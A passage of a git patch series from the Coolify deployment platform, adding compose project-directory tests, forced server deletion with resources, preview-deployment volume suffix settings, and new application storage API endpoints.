FU19EQj0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHRhc2stcnVubmVyczoKICAgIGltYWdlOiAnbjhuaW8vcnVubmVyczoyLjEwLjQnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJPSR7TjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJOi1odHRwOi8vbjhuLXdvcmtlcjo1Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ9JHtOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ6LTE1fScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gbjhuCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2ODAvJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", "tags": [ "n8n", "workflow", diff --git a/tests/Unit/DockerComposePreserveRepositoryStartCommandTest.php b/tests/Unit/DockerComposePreserveRepositoryStartCommandTest.php index 2d33b60f9..4d69d0894 100644 --- a/tests/Unit/DockerComposePreserveRepositoryStartCommandTest.php +++ b/tests/Unit/DockerComposePreserveRepositoryStartCommandTest.php @@ -75,6 +75,55 @@ expect($startCommand)->toContain("-f {$serverWorkdir}{$composeLocation}"); }); +it('injects --project-directory with host path when preserveRepository is true', function () { + $serverWorkdir = '/data/coolify/applications/app-uuid'; + $containerWorkdir = '/artifacts/deployment-uuid'; + $preserveRepository = true; + + $customStartCommand = 'docker compose -f docker-compose.yaml -f docker-compose.prod.yaml up -d'; + + // Simulate the --project-directory injection from deploy_docker_compose_buildpack() + if (! str($customStartCommand)->contains('--project-directory')) { + $projectDir = $preserveRepository ? $serverWorkdir : $containerWorkdir; + $customStartCommand = str($customStartCommand)->replaceFirst('compose', 'compose --project-directory '.$projectDir)->value(); + } + + // When preserveRepository is true, --project-directory must point to host path + expect($customStartCommand)->toContain("--project-directory {$serverWorkdir}"); + expect($customStartCommand)->not->toContain('/artifacts/'); +}); + +it('injects --project-directory with container path when preserveRepository is false', function () { + $serverWorkdir = '/data/coolify/applications/app-uuid'; + $containerWorkdir = '/artifacts/deployment-uuid'; + $preserveRepository = false; + + $customStartCommand = 'docker compose -f docker-compose.yaml -f docker-compose.prod.yaml up -d'; + + // Simulate the --project-directory injection from deploy_docker_compose_buildpack() + if (! str($customStartCommand)->contains('--project-directory')) { + $projectDir = $preserveRepository ? $serverWorkdir : $containerWorkdir; + $customStartCommand = str($customStartCommand)->replaceFirst('compose', 'compose --project-directory '.$projectDir)->value(); + } + + // When preserveRepository is false, --project-directory must point to container path + expect($customStartCommand)->toContain("--project-directory {$containerWorkdir}"); + expect($customStartCommand)->not->toContain('/data/coolify/applications/'); +}); + +it('does not override explicit --project-directory in custom start command', function () { + $customProjectDir = '/custom/path'; + $customStartCommand = "docker compose --project-directory {$customProjectDir} up -d"; + + // Simulate the --project-directory injection — should be skipped + if (! str($customStartCommand)->contains('--project-directory')) { + $customStartCommand = str($customStartCommand)->replaceFirst('compose', 'compose --project-directory /should-not-appear')->value(); + } + + expect($customStartCommand)->toContain("--project-directory {$customProjectDir}"); + expect($customStartCommand)->not->toContain('/should-not-appear'); +}); + it('uses container paths for env-file when preserveRepository is false', function () { $workdir = '/artifacts/deployment-uuid/backend'; $composeLocation = '/compose.yml'; From b8390482b8a9b09a61a38fbe22857a9ec5f8b697 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Fri, 13 Mar 2026 16:58:26 +0100 Subject: [PATCH 20/51] feat(server): allow force deletion of servers with resources Add ability to force delete servers along with their defined resources: - API: Accept ?force=true query parameter in DELETE /servers endpoint - UI: Display checkbox option to delete all resources in deletion dialog When force deletion is enabled, all associated resources are dispatched via DeleteResourceJob before the server is removed, enabling one-step deletion instead of requiring manual resource cleanup first. --- .../Controllers/Api/ServersController.php | 15 ++++++++++-- app/Livewire/Server/Delete.php | 23 +++++++++++++++++-- openapi.json | 10 ++++++++ openapi.yaml | 8 +++++++ .../views/livewire/server/delete.blade.php | 2 +- .../views/livewire/server/navbar.blade.php | 2 +- 6 files changed, 54 insertions(+), 6 deletions(-) diff --git a/app/Http/Controllers/Api/ServersController.php b/app/Http/Controllers/Api/ServersController.php index 892457925..da94521a8 100644 --- a/app/Http/Controllers/Api/ServersController.php +++ b/app/Http/Controllers/Api/ServersController.php @@ -7,6 +7,7 @@ use App\Enums\ProxyStatus; use App\Enums\ProxyTypes; use App\Http\Controllers\Controller; +use App\Jobs\DeleteResourceJob; use App\Models\Application; use App\Models\PrivateKey; use App\Models\Project; @@ -758,12 +759,22 @@ public function delete_server(Request $request) if (! $server) { return response()->json(['message' => 'Server not found.'], 404); } - if ($server->definedResources()->count() > 0) { - return response()->json(['message' => 'Server has resources, so you need to delete them before.'], 400); + + $force = filter_var($request->query('force', false), FILTER_VALIDATE_BOOLEAN); + + if ($server->definedResources()->count() > 0 && ! $force) { + return response()->json(['message' => 'Server has resources. Use ?force=true to delete all resources and the server, or delete resources manually first.'], 400); } if ($server->isLocalhost()) { return response()->json(['message' => 'Local server cannot be deleted.'], 400); } + + if ($force) { + foreach ($server->definedResources() as $resource) { + DeleteResourceJob::dispatch($resource); + } + } + $server->delete(); DeleteServer::dispatch( $server->id, diff --git a/app/Livewire/Server/Delete.php b/app/Livewire/Server/Delete.php index beb8c0a12..d06543b39 100644 --- a/app/Livewire/Server/Delete.php +++ b/app/Livewire/Server/Delete.php @@ -3,6 +3,7 @@ namespace App\Livewire\Server; use App\Actions\Server\DeleteServer; +use App\Jobs\DeleteResourceJob; use App\Models\Server; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Component; @@ -15,6 +16,8 @@ class Delete extends Component public bool $delete_from_hetzner = false; + public bool $force_delete_resources = false; + public function mount(string $server_uuid) { try { @@ -32,15 +35,22 @@ public function delete($password, $selectedActions = []) if (! empty($selectedActions)) { $this->delete_from_hetzner = in_array('delete_from_hetzner', $selectedActions); + $this->force_delete_resources = in_array('force_delete_resources', $selectedActions); } try { $this->authorize('delete', $this->server); - if ($this->server->hasDefinedResources()) { - $this->dispatch('error', 'Server has defined resources. Please delete them first.'); + if ($this->server->hasDefinedResources() && ! $this->force_delete_resources) { + $this->dispatch('error', 'Server has defined resources. Please delete them first or select "Delete all resources".'); return; } + if ($this->force_delete_resources) { + foreach ($this->server->definedResources() as $resource) { + DeleteResourceJob::dispatch($resource); + } + } + $this->server->delete(); DeleteServer::dispatch( $this->server->id, @@ -60,6 +70,15 @@ public function render() { $checkboxes = []; + if ($this->server->hasDefinedResources()) { + $resourceCount = $this->server->definedResources()->count(); + $checkboxes[] = [ + 'id' => 'force_delete_resources', + 'label' => "Delete all resources ({$resourceCount} total)", + 'default_warning' => 'Server cannot be deleted while it has resources.', + ]; + } + if ($this->server->hetzner_server_id) { $checkboxes[] = [ 'id' => 'delete_from_hetzner', diff --git a/openapi.json b/openapi.json index 849dee363..f5d9813b3 100644 --- a/openapi.json +++ b/openapi.json @@ -9685,6 +9685,11 @@ "type": "boolean", "default": false, "description": "Force domain override even if conflicts are detected." + }, + "is_container_label_escape_enabled": { + "type": "boolean", + "default": true, + "description": "Escape special characters in labels. By default, $ (and other chars) is escaped. If you want to use env variables inside the labels, turn this off." } }, "type": "object" @@ -10011,6 +10016,11 @@ "type": "boolean", "default": false, "description": "Force domain override even if conflicts are detected." + }, + "is_container_label_escape_enabled": { + "type": "boolean", + "default": true, + "description": "Escape special characters in labels. By default, $ (and other chars) is escaped. If you want to use env variables inside the labels, turn this off." } }, "type": "object" diff --git a/openapi.yaml b/openapi.yaml index 226295cdb..81753544f 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -6152,6 +6152,10 @@ paths: type: boolean default: false description: 'Force domain override even if conflicts are detected.' + is_container_label_escape_enabled: + type: boolean + default: true + description: 'Escape special characters in labels. By default, $ (and other chars) is escaped. If you want to use env variables inside the labels, turn this off.' type: object responses: '201': @@ -6337,6 +6341,10 @@ paths: type: boolean default: false description: 'Force domain override even if conflicts are detected.' + is_container_label_escape_enabled: + type: boolean + default: true + description: 'Escape special characters in labels. By default, $ (and other chars) is escaped. If you want to use env variables inside the labels, turn this off.' type: object responses: '200': diff --git a/resources/views/livewire/server/delete.blade.php b/resources/views/livewire/server/delete.blade.php index 073849452..dec1d3f6d 100644 --- a/resources/views/livewire/server/delete.blade.php +++ b/resources/views/livewire/server/delete.blade.php @@ -14,7 +14,7 @@ back!
@if ($server->definedResources()->count() > 0) -
You need to delete all resources before deleting this server.
+
This server has resources. You can force delete all resources by checking the option below.
@endif
{{ data_get($server, 'name') }}
+ @can('update', $resource) +
+ +
+ @endcan
@if (!$isReadOnly) @can('update', $resource) diff --git a/resources/views/livewire/project/shared/storages/show.blade.php b/resources/views/livewire/project/shared/storages/show.blade.php index 694f7d4f2..a3a486b92 100644 --- a/resources/views/livewire/project/shared/storages/show.blade.php +++ b/resources/views/livewire/project/shared/storages/show.blade.php @@ -38,6 +38,13 @@ @endif + @can('update', $resource) +
+ +
+ @endcan @else @can('update', $resource) @if ($isFirst) @@ -54,6 +61,13 @@ @endif + @if (data_get($resource, 'settings.is_preview_deployments_enabled')) +
+ +
+ @endif
Update diff --git a/tests/Unit/PreviewDeploymentBindMountTest.php b/tests/Unit/PreviewDeploymentBindMountTest.php index acc560e68..367770b08 100644 --- a/tests/Unit/PreviewDeploymentBindMountTest.php +++ b/tests/Unit/PreviewDeploymentBindMountTest.php @@ -3,12 +3,13 @@ /** * Tests for GitHub issue #7802: volume mappings from repo content in Preview Deployments. * - * Bind mount volumes (e.g., ./scripts:/scripts:ro) should NOT get a -pr-N suffix - * during preview deployments, because the repo files exist at the original path. - * Only named Docker volumes need the suffix for isolation between PRs. + * Bind mount volumes use a per-volume `is_preview_suffix_enabled` setting to control + * whether the -pr-N suffix is applied during preview deployments. + * When enabled (default), the suffix is applied for data isolation. + * When disabled, the volume path is shared with the main deployment. + * Named Docker volumes also respect this setting. */ -it('does not apply preview deployment suffix to bind mount source paths', function () { - // Read the applicationParser volume handling in parsers.php +it('uses is_preview_suffix_enabled setting for bind mount suffix in preview deployments', function () { $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); // Find the bind mount handling block (type === 'bind') @@ -16,12 +17,14 @@ $volumeBlockStart = strpos($parsersFile, "} elseif (\$type->value() === 'volume')"); $bindBlock = substr($parsersFile, $bindBlockStart, $volumeBlockStart - $bindBlockStart); - // Bind mount paths should NOT be suffixed with -pr-N - expect($bindBlock)->not->toContain('addPreviewDeploymentSuffix'); + // Bind mount block should check is_preview_suffix_enabled before applying suffix + expect($bindBlock) + ->toContain('$isPreviewSuffixEnabled') + ->toContain('is_preview_suffix_enabled') + ->toContain('addPreviewDeploymentSuffix'); }); it('still applies preview deployment suffix to named volume paths', function () { - // Read the applicationParser volume handling in parsers.php $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); // Find the named volume handling block (type === 'volume') @@ -39,3 +42,68 @@ $result = addPreviewDeploymentSuffix('myvolume', 0); expect($result)->toBe('myvolume'); }); + +/** + * Tests for GitHub issue #7343: $uuid mutation in label generation leaks into + * subsequent services' volume paths during preview deployments. + * + * The label generation block must use a local variable ($labelUuid) instead of + * mutating the shared $uuid variable, which is used for volume base paths. + */ +it('does not mutate shared uuid variable during label generation', function () { + $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); + + // Find the FQDN label generation block + $labelBlockStart = strpos($parsersFile, '$shouldGenerateLabelsExactly = $resource->destination->server->settings->generate_exact_labels;'); + $labelBlock = substr($parsersFile, $labelBlockStart, 300); + + // Should use $labelUuid, not mutate $uuid + expect($labelBlock) + ->toContain('$labelUuid = $resource->uuid') + ->not->toContain('$uuid = $resource->uuid') + ->not->toContain("\$uuid = \"{$resource->uuid}"); +}); + +it('uses labelUuid in all proxy label generation calls', function () { + $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); + + // Find the FQDN label generation block (from shouldGenerateLabelsExactly to the closing brace) + $labelBlockStart = strpos($parsersFile, '$shouldGenerateLabelsExactly'); + $labelBlockEnd = strpos($parsersFile, "data_forget(\$service, 'volumes.*.content')"); + $labelBlock = substr($parsersFile, $labelBlockStart, $labelBlockEnd - $labelBlockStart); + + // All uuid references in label functions should use $labelUuid + expect($labelBlock) + ->toContain('uuid: $labelUuid') + ->not->toContain('uuid: $uuid'); +}); + +it('checks is_preview_suffix_enabled in deployment job for persistent volumes', function () { + $deploymentJobFile = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php'); + + // Find the generate_local_persistent_volumes method + $methodStart = strpos($deploymentJobFile, 'function generate_local_persistent_volumes()'); + $methodEnd = strpos($deploymentJobFile, 'function generate_local_persistent_volumes_only_volume_names()'); + $methodBlock = substr($deploymentJobFile, $methodStart, $methodEnd - $methodStart); + + // Should check is_preview_suffix_enabled before applying suffix + expect($methodBlock) + ->toContain('is_preview_suffix_enabled') + ->toContain('$isPreviewSuffixEnabled') + ->toContain('addPreviewDeploymentSuffix'); +}); + +it('checks is_preview_suffix_enabled in deployment job for volume names', function () { + $deploymentJobFile = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php'); + + // Find the generate_local_persistent_volumes_only_volume_names method + $methodStart = strpos($deploymentJobFile, 'function generate_local_persistent_volumes_only_volume_names()'); + $methodEnd = strpos($deploymentJobFile, 'function generate_healthcheck_commands()'); + $methodBlock = substr($deploymentJobFile, $methodStart, $methodEnd - $methodStart); + + // Should check is_preview_suffix_enabled before applying suffix + expect($methodBlock) + ->toContain('is_preview_suffix_enabled') + ->toContain('$isPreviewSuffixEnabled') + ->toContain('addPreviewDeploymentSuffix'); +}); From c9861e08e359566ef8f97862b65f8d9d8ec77a78 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 16 Mar 2026 15:13:36 +0100 Subject: [PATCH 28/51] fix(preview): sync isPreviewSuffixEnabled property on file storage save --- app/Livewire/Project/Service/FileStorage.php | 1 + 1 file changed, 1 insertion(+) diff --git a/app/Livewire/Project/Service/FileStorage.php b/app/Livewire/Project/Service/FileStorage.php index 33b32989a..71da07eb0 100644 --- a/app/Livewire/Project/Service/FileStorage.php +++ b/app/Livewire/Project/Service/FileStorage.php @@ -181,6 +181,7 @@ public function submit() // Sync component properties to model $this->fileStorage->content = $this->content; $this->fileStorage->is_based_on_git = $this->isBasedOnGit; + $this->fileStorage->is_preview_suffix_enabled = $this->isPreviewSuffixEnabled; $this->fileStorage->save(); $this->fileStorage->saveStorageOnServer(); $this->dispatch('success', 'File updated.'); From 0488a188a0ce6af0a82e933b78c74b08b2254e46 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 16 Mar 2026 15:34:27 +0100 Subject: [PATCH 29/51] feat(api): add storages endpoints for applications Add GET and PATCH /applications/{uuid}/storages routes to list and update persistent and file storages for an application, including support for toggling is_preview_suffix_enabled. --- .../Api/ApplicationsController.php | 187 ++++++++++++++++++ openapi.json | 111 +++++++++++ openapi.yaml | 74 +++++++ routes/api.php | 2 + 4 files changed, 374 insertions(+) diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index 4b0cfc6ab..a6609eb47 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -3919,4 +3919,191 @@ private function validateDataApplications(Request $request, Server $server) } } } + + #[OA\Get( + summary: 'List Storages', + description: 'List all persistent storages and file storages by application UUID.', + path: '/applications/{uuid}/storages', + operationId: 'list-storages-by-application-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Applications'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the application.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + responses: [ + new OA\Response( + response: 200, + description: 'All storages by application UUID.', + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 400, + ref: '#/components/responses/400', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + ] + )] + public function storages(Request $request) + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first(); + + if (! $application) { + return response()->json([ + 'message' => 'Application not found', + ], 404); + } + + $this->authorize('view', $application); + + $persistentStorages = $application->persistentStorages->sortBy('id')->values(); + $fileStorages = $application->fileStorages->sortBy('id')->values(); + + return response()->json([ + 'persistent_storages' => $persistentStorages, + 'file_storages' => $fileStorages, + ]); + } + + #[OA\Patch( + summary: 'Update Storage', + description: 'Update a persistent storage or file storage by application UUID.', + path: '/applications/{uuid}/storages', + operationId: 'update-storage-by-application-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Applications'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the application.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + requestBody: new OA\RequestBody( + description: 'Storage updated.', + required: true, + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + required: ['id', 'type'], + properties: [ + 'id' => ['type' => 'integer', 'description' => 'The ID of the storage.'], + 'type' => ['type' => 'string', 'enum' => ['persistent', 'file'], 'description' => 'The type of storage: persistent or file.'], + 'is_preview_suffix_enabled' => ['type' => 'boolean', 'description' => 'Whether to add -pr-N suffix for preview deployments.'], + ], + ), + ), + ], + ), + responses: [ + new OA\Response( + response: 200, + description: 'Storage updated.', + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 400, + ref: '#/components/responses/400', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + ] + )] + public function update_storage(Request $request) + { + $allowedFields = ['id', 'type', 'is_preview_suffix_enabled']; + $teamId = getTeamIdFromToken(); + + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $return = validateIncomingRequest($request); + if ($return instanceof \Illuminate\Http\JsonResponse) { + return $return; + } + + $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first(); + + if (! $application) { + return response()->json([ + 'message' => 'Application not found', + ], 404); + } + + $this->authorize('update', $application); + + $validator = customApiValidator($request->all(), [ + 'id' => 'required|integer', + 'type' => 'required|string|in:persistent,file', + 'is_preview_suffix_enabled' => 'boolean', + ]); + + $extraFields = array_diff(array_keys($request->all()), $allowedFields); + if ($validator->fails() || ! empty($extraFields)) { + $errors = $validator->errors(); + if (! empty($extraFields)) { + foreach ($extraFields as $field) { + $errors->add($field, 'This field is not allowed.'); + } + } + + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => $errors, + ], 422); + } + + if ($request->type === 'persistent') { + $storage = $application->persistentStorages->where('id', $request->id)->first(); + } else { + $storage = $application->fileStorages->where('id', $request->id)->first(); + } + + if (! $storage) { + return response()->json([ + 'message' => 'Storage not found.', + ], 404); + } + + if ($request->has('is_preview_suffix_enabled')) { + $storage->is_preview_suffix_enabled = $request->is_preview_suffix_enabled; + } + + $storage->save(); + + return response()->json($storage); + } } diff --git a/openapi.json b/openapi.json index f5d9813b3..13f745e11 100644 --- a/openapi.json +++ b/openapi.json @@ -3442,6 +3442,117 @@ ] } }, + "\/applications\/{uuid}\/storages": { + "get": { + "tags": [ + "Applications" + ], + "summary": "List Storages", + "description": "List all persistent storages and file storages by application UUID.", + "operationId": "list-storages-by-application-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the application.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "All storages by application UUID." + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + }, + "patch": { + "tags": [ + "Applications" + ], + "summary": "Update Storage", + "description": "Update a persistent storage or file storage by application UUID.", + "operationId": "update-storage-by-application-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the application.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "description": "Storage updated.", + "required": true, + "content": { + "application\/json": { + "schema": { + "required": [ + "id", + "type" + ], + "properties": { + "id": { + "type": "integer", + "description": "The ID of the storage." + }, + "type": { + "type": "string", + "enum": [ + "persistent", + "file" + ], + "description": "The type of storage: persistent or file." + }, + "is_preview_suffix_enabled": { + "type": "boolean", + "description": "Whether to add -pr-N suffix for preview deployments." + } + }, + "type": "object" + } + } + } + }, + "responses": { + "200": { + "description": "Storage updated." + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, "\/cloud-tokens": { "get": { "tags": [ diff --git a/openapi.yaml b/openapi.yaml index 81753544f..7ee406c99 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -2170,6 +2170,80 @@ paths: security: - bearerAuth: [] + '/applications/{uuid}/storages': + get: + tags: + - Applications + summary: 'List Storages' + description: 'List all persistent storages and file storages by application UUID.' + operationId: list-storages-by-application-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the application.' + required: true + schema: + type: string + responses: + '200': + description: 'All storages by application UUID.' + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] + patch: + tags: + - Applications + summary: 'Update Storage' + description: 'Update a persistent storage or file storage by application UUID.' + operationId: update-storage-by-application-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the application.' + required: true + schema: + type: string + requestBody: + description: 'Storage updated.' + required: true + content: + application/json: + schema: + required: + - id + - type + properties: + id: + type: integer + description: 'The ID of the storage.' + type: + type: string + enum: [persistent, file] + description: 'The type of storage: persistent or file.' + is_preview_suffix_enabled: + type: boolean + description: 'Whether to add -pr-N suffix for preview deployments.' + type: object + responses: + '200': + description: 'Storage updated.' + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] /cloud-tokens: get: tags: diff --git a/routes/api.php b/routes/api.php index 8b28177f3..b02682a5b 100644 --- a/routes/api.php +++ b/routes/api.php @@ -120,6 +120,8 @@ Route::patch('/applications/{uuid}/envs', [ApplicationsController::class, 'update_env_by_uuid'])->middleware(['api.ability:write']); Route::delete('/applications/{uuid}/envs/{env_uuid}', [ApplicationsController::class, 'delete_env_by_uuid'])->middleware(['api.ability:write']); Route::get('/applications/{uuid}/logs', [ApplicationsController::class, 'logs_by_uuid'])->middleware(['api.ability:read']); + Route::get('/applications/{uuid}/storages', [ApplicationsController::class, 'storages'])->middleware(['api.ability:read']); + Route::patch('/applications/{uuid}/storages', [ApplicationsController::class, 'update_storage'])->middleware(['api.ability:write']); Route::match(['get', 'post'], '/applications/{uuid}/start', [ApplicationsController::class, 'action_deploy'])->middleware(['api.ability:deploy']); Route::match(['get', 'post'], '/applications/{uuid}/restart', [ApplicationsController::class, 'action_restart'])->middleware(['api.ability:deploy']); From 9d745fca75098d76f2ab69ef8049a8d476fe9fc0 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 16 Mar 2026 15:37:46 +0100 Subject: [PATCH 30/51] feat(api): expand update_storage to support name, mount_path, host_path, content fields Add support for updating additional storage fields via the API while enforcing read-only restrictions for storages managed by docker-compose or service definitions (only is_preview_suffix_enabled remains editable for those). --- .../Api/ApplicationsController.php | 48 +++++++++++++++++-- openapi.json | 20 +++++++- openapi.yaml | 16 ++++++- 3 files changed, 79 insertions(+), 5 deletions(-) diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index a6609eb47..6521ef7ba 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -4005,7 +4005,7 @@ public function storages(Request $request) ), ], requestBody: new OA\RequestBody( - description: 'Storage updated.', + description: 'Storage updated. For read-only storages (from docker-compose or services), only is_preview_suffix_enabled can be updated.', required: true, content: [ new OA\MediaType( @@ -4017,6 +4017,10 @@ public function storages(Request $request) 'id' => ['type' => 'integer', 'description' => 'The ID of the storage.'], 'type' => ['type' => 'string', 'enum' => ['persistent', 'file'], 'description' => 'The type of storage: persistent or file.'], 'is_preview_suffix_enabled' => ['type' => 'boolean', 'description' => 'Whether to add -pr-N suffix for preview deployments.'], + 'name' => ['type' => 'string', 'description' => 'The volume name (persistent only, not allowed for read-only storages).'], + 'mount_path' => ['type' => 'string', 'description' => 'The container mount path (not allowed for read-only storages).'], + 'host_path' => ['type' => 'string', 'nullable' => true, 'description' => 'The host path (persistent only, not allowed for read-only storages).'], + 'content' => ['type' => 'string', 'nullable' => true, 'description' => 'The file content (file only, not allowed for read-only storages).'], ], ), ), @@ -4043,7 +4047,6 @@ public function storages(Request $request) )] public function update_storage(Request $request) { - $allowedFields = ['id', 'type', 'is_preview_suffix_enabled']; $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -4069,9 +4072,14 @@ public function update_storage(Request $request) 'id' => 'required|integer', 'type' => 'required|string|in:persistent,file', 'is_preview_suffix_enabled' => 'boolean', + 'name' => 'string', + 'mount_path' => 'string', + 'host_path' => 'string|nullable', + 'content' => 'string|nullable', ]); - $extraFields = array_diff(array_keys($request->all()), $allowedFields); + $allAllowedFields = ['id', 'type', 'is_preview_suffix_enabled', 'name', 'mount_path', 'host_path', 'content']; + $extraFields = array_diff(array_keys($request->all()), $allAllowedFields); if ($validator->fails() || ! empty($extraFields)) { $errors = $validator->errors(); if (! empty($extraFields)) { @@ -4098,10 +4106,44 @@ public function update_storage(Request $request) ], 404); } + $isReadOnly = $storage->shouldBeReadOnlyInUI(); + $editableOnlyFields = ['name', 'mount_path', 'host_path', 'content']; + $requestedEditableFields = array_intersect($editableOnlyFields, array_keys($request->all())); + + if ($isReadOnly && ! empty($requestedEditableFields)) { + return response()->json([ + 'message' => 'This storage is read-only (managed by docker-compose or service definition). Only is_preview_suffix_enabled can be updated.', + 'read_only_fields' => array_values($requestedEditableFields), + ], 422); + } + + // Always allowed if ($request->has('is_preview_suffix_enabled')) { $storage->is_preview_suffix_enabled = $request->is_preview_suffix_enabled; } + // Only for editable storages + if (! $isReadOnly) { + if ($request->type === 'persistent') { + if ($request->has('name')) { + $storage->name = $request->name; + } + if ($request->has('mount_path')) { + $storage->mount_path = $request->mount_path; + } + if ($request->has('host_path')) { + $storage->host_path = $request->host_path; + } + } else { + if ($request->has('mount_path')) { + $storage->mount_path = $request->mount_path; + } + if ($request->has('content')) { + $storage->content = $request->content; + } + } + } + $storage->save(); return response()->json($storage); diff --git a/openapi.json b/openapi.json index 13f745e11..d1dadcaf0 100644 --- a/openapi.json +++ b/openapi.json @@ -3500,7 +3500,7 @@ } ], "requestBody": { - "description": "Storage updated.", + "description": "Storage updated. For read-only storages (from docker-compose or services), only is_preview_suffix_enabled can be updated.", "required": true, "content": { "application\/json": { @@ -3525,6 +3525,24 @@ "is_preview_suffix_enabled": { "type": "boolean", "description": "Whether to add -pr-N suffix for preview deployments." + }, + "name": { + "type": "string", + "description": "The volume name (persistent only, not allowed for read-only storages)." + }, + "mount_path": { + "type": "string", + "description": "The container mount path (not allowed for read-only storages)." + }, + "host_path": { + "type": "string", + "nullable": true, + "description": "The host path (persistent only, not allowed for read-only storages)." + }, + "content": { + "type": "string", + "nullable": true, + "description": "The file content (file only, not allowed for read-only storages)." } }, "type": "object" diff --git a/openapi.yaml b/openapi.yaml index 7ee406c99..74af3aa13 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -2212,7 +2212,7 @@ paths: schema: type: string requestBody: - description: 'Storage updated.' + description: 'Storage updated. For read-only storages (from docker-compose or services), only is_preview_suffix_enabled can be updated.' required: true content: application/json: @@ -2231,6 +2231,20 